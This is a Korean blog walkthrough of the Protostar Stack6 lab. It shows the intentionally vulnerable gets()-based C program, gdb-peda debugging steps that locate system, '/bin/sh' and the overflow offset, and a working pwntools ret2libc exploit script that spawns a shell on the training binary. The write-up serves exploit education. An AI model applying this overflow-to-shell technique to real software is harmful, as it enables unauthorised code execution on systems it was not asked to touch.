RNRF 2022. 7. 12. 21:00

Stack6 looks at what happens when you have restrictions on the return address.

This level can be done in a couple of ways, such as finding the duplicate of the payload ( objdump -s will help with this), or ret2libc , or even return orientated programming.

It is strongly suggested you experiment with multiple ways of getting your code to execute here.

This level is at /opt/protostar/bin/stack6

Link - https://exploit.education/protostar/stack-six/#source-code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

이번 실습은 STACK-5 실습과 마찬가지 ret2lib 방법으로 문제를 해결하면 된다.
해당 실습에서 중점적으로 설명할 부분은 ret 값을 "__builtin_return_address(0);"에서 받아온다는 것이다.
그리고 그러한 ret를 저 함수를 이용해서 받아오고, 뒤에 오는 조건문(= if문)을 이용하여 ret의 값을 점검하는 코드이다.
"if((ret & 0xbf000000) == 0xbf000000)"를 보게 되면, ret와 0xbf000000이 and 연산을 하게된다. 그렇게 and 연산을 해서 bf를 포함하는 주소를 ret이 가지고 있다면, 그것을 무력하게 만드는 방법이라고 보면 된다.

결과적으로 ret & 0xbf000000 결과 값이 0xbf000000가 되지 않게 해줘야한다.
만약 ret의 주소가 0xFFFFFFFF로 채워져 있다면, 0xFFFFFFFF & 0xbf000000 = 0xbf000000가 되서 실패하게 된다.

0xFFFFFFFF AND 0xbf000000 = 0xbf000000

즉, BF가 첫번째와 두번째 주소에 들어가면 안된다는 것이다.

STACK-5의 첫번째 풀이 방법인 스택을 그대로 가리키는 방법으로는 현재 문제를 통과하지 못한다.

이전의 실습에서 썼던 stack5.py를 복사해서 다시 쓰도록 한다.
root@kali:~/Desktop/bin# cp stack5.py stack6.py

STACK-6도 STACK-5와 마찬가지로 GDB를 이용하여 내용을 확인하면 된다.
root@kali:~/Desktop/bin# gdb ./stack6
gdb-peda$ b *main
Breakpoint 1 at 0x80484fa: file stack6/stack6.c, line 26.
gdb-peda$ run
Starting program: /root/Desktop/bin/stack6

[----------------------------------registers-----------------------------------]
EAX: 0xf7faadc8 --> 0xffffd36c --> 0xffffd510 ("SHELL=/bin/bash")
EBX: 0x0 
ECX: 0x9b3658ad 
EDX: 0xffffd2f4 --> 0x0 
ESI: 0xf7fa9000 --> 0x1d9d6c 
EDI: 0xf7fa9000 --> 0x1d9d6c 
EBP: 0x0 
ESP: 0xffffd2cc --> 0xf7de9b41 (<__libc_start_main+241>:	add    esp,0x10)
EIP: 0x80484fa (<main>:	push   ebp)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80484f3 <getpath+111>:	call   0x80483c0 <printf@plt>
   0x80484f8 <getpath+116>:	leave  
   0x80484f9 <getpath+117>:	ret    
=> 0x80484fa <main>:	push   ebp
   0x80484fb <main+1>:	mov    ebp,esp
   0x80484fd <main+3>:	and    esp,0xfffffff0
   0x8048500 <main+6>:	call   0x8048484 <getpath>
   0x8048505 <main+11>:	mov    esp,ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffd2cc --> 0xf7de9b41 (<__libc_start_main+241>:	add    esp,0x10)
0004| 0xffffd2d0 --> 0x1 
0008| 0xffffd2d4 --> 0xffffd364 --> 0xffffd4f7 ("/root/Desktop/bin/stack6")
0012| 0xffffd2d8 --> 0xffffd36c --> 0xffffd510 ("SHELL=/bin/bash")
0016| 0xffffd2dc --> 0xffffd2f4 --> 0x0 
0020| 0xffffd2e0 --> 0x1 
0024| 0xffffd2e4 --> 0x0 
0028| 0xffffd2e8 --> 0xf7fa9000 --> 0x1d9d6c 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, main (
    argc=<error reading variable: Unknown argument list address for `argc'.>, argv=<error reading variable: Unknown argument list address for `argv'.>)
    at stack6/stack6.c:26
26	stack6/stack6.c: No such file or directory.

위의 Peda의 내용은 그닥 중요하지 않다.

해당 프로그램에 브레이크 포인트를 걸고, 실행해준 뒤, 시스템 관련 함수를 찾는다.
gdb-peda$ print system
$1 = {<text variable, no debug info>} 0xf7e0d980 <system>

STACK-5와 동일한 정보가 들어있는것을 확인할 수 있다.

다음으로는 "/bin/sh"를 찾는다.
gdb-peda$ find '/bin/sh'
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f4daaa ("/bin/sh")

마찬가지로 STACK-5와 동일한 정보가 들어있는것을 확인할 수 있다.

마지막으로 offset만 지정해주면 된다.
ret의 위치를 찾아주고, ret 주소에 브레이크 포인트를 걸고, 실행한 후 만들어 준 패턴을 넣어주면 끝이다.
gdb-peda$ disas main

Dump of assembler code for function main:
=> 0x080484fa <+0>:	push   ebp
   0x080484fb <+1>:	mov    ebp,esp
   0x080484fd <+3>:	and    esp,0xfffffff0
   0x08048500 <+6>:	call   0x8048484 <getpath>
   0x08048505 <+11>:	mov    esp,ebp
   0x08048507 <+13>:	pop    ebp
   0x08048508 <+14>:	ret    
End of assembler dump.

gdb-peda$ b *main+14
Breakpoint 2 at 0x8048508: file stack6/stack6.c, line 31.

gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'

gdb-peda$ run
Starting program: /root/Desktop/bin/stack6

gdb-peda$ conti
Continuing.
input path please: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
AA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
got path AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAJAAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x6e ('n')
EBX: 0x0 
ECX: 0x1 
EDX: 0xf7faa890 --> 0x0 
ESI: 0xf7fa9000 --> 0x1d9d6c 
EDI: 0xf7fa9000 --> 0x1d9d6c 
EBP: 0x41344141 ('AA4A')
ESP: 0xffffd2c0 ("fAA5AAKAAgAA6AAL")
EIP: 0x41414a41 ('AJAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414a41
[------------------------------------stack-------------------------------------]
0000| 0xffffd2c0 ("fAA5AAKAAgAA6AAL")
0004| 0xffffd2c4 ("AAKAAgAA6AAL")
0008| 0xffffd2c8 ("AgAA6AAL")
0012| 0xffffd2cc ("6AAL")
0016| 0xffffd2d0 --> 0x0 
0020| 0xffffd2d4 --> 0xffffd364 --> 0xffffd4f7 ("/root/Desktop/bin/stack6")
0024| 0xffffd2d8 --> 0xffffd36c --> 0xffffd510 ("SHELL=/bin/bash")
0028| 0xffffd2dc --> 0xffffd2f4 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414a41 in ?? ()

진행 결과, 브레이크 포인트가 실행 되어버렸다.

그렇지만, "Invalid $PC address: 0x41414a41" 코드의 주소를 복사해서 넣어주면 된다. ret까지 진행되었기 때문에 해당 주소를 이용하여 offset을 구하여 파이썬 코드에 넣어줘도 문제가 되지 않는다.

gdb-peda$ pattern offset 0x41414a41
1094797889 found at offset: 80

root@kali:~/Desktop/bin# gedit stack6.py

from pwn import *

system	= p32(0xf7e0d980)
dummy	= p32(0xFFFFFFFF)
bin_sh	= p32(0xf7f4daaa)
offset = 80
payload = 'A'*offset + system + dummy + bin_sh

p = process(['stack6'])
p.sendline(payload)
p.interactive()

root@kali:~/Desktop/bin# python stack6.py

[!] Could not find executable 'stack6' in $PATH, using './stack6' instead
[+] Starting local process './stack6': pid 17036
[*] Switching to interactive mode
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80���AAAAAAAAAAAA\x80������\xff
$ ls
core     format1  heap1  net2              stack0  stack5     uaf
final0     format2  heap2  net3              stack1  stack5.py  uaf.c
final1     format3  heap3  net4              stack2  stack6
final2     format4  net0     peda-session-stack5.txt  stack3  stack6.py
format0  heap0      net1     peda-session-stack6.txt  stack4  stack7

마지막에 Enter를 한번 눌러주고, 리눅스 명령어를 입력하니 리눅스 명령어가 잘 실행되는 것을 확인할 수 있다.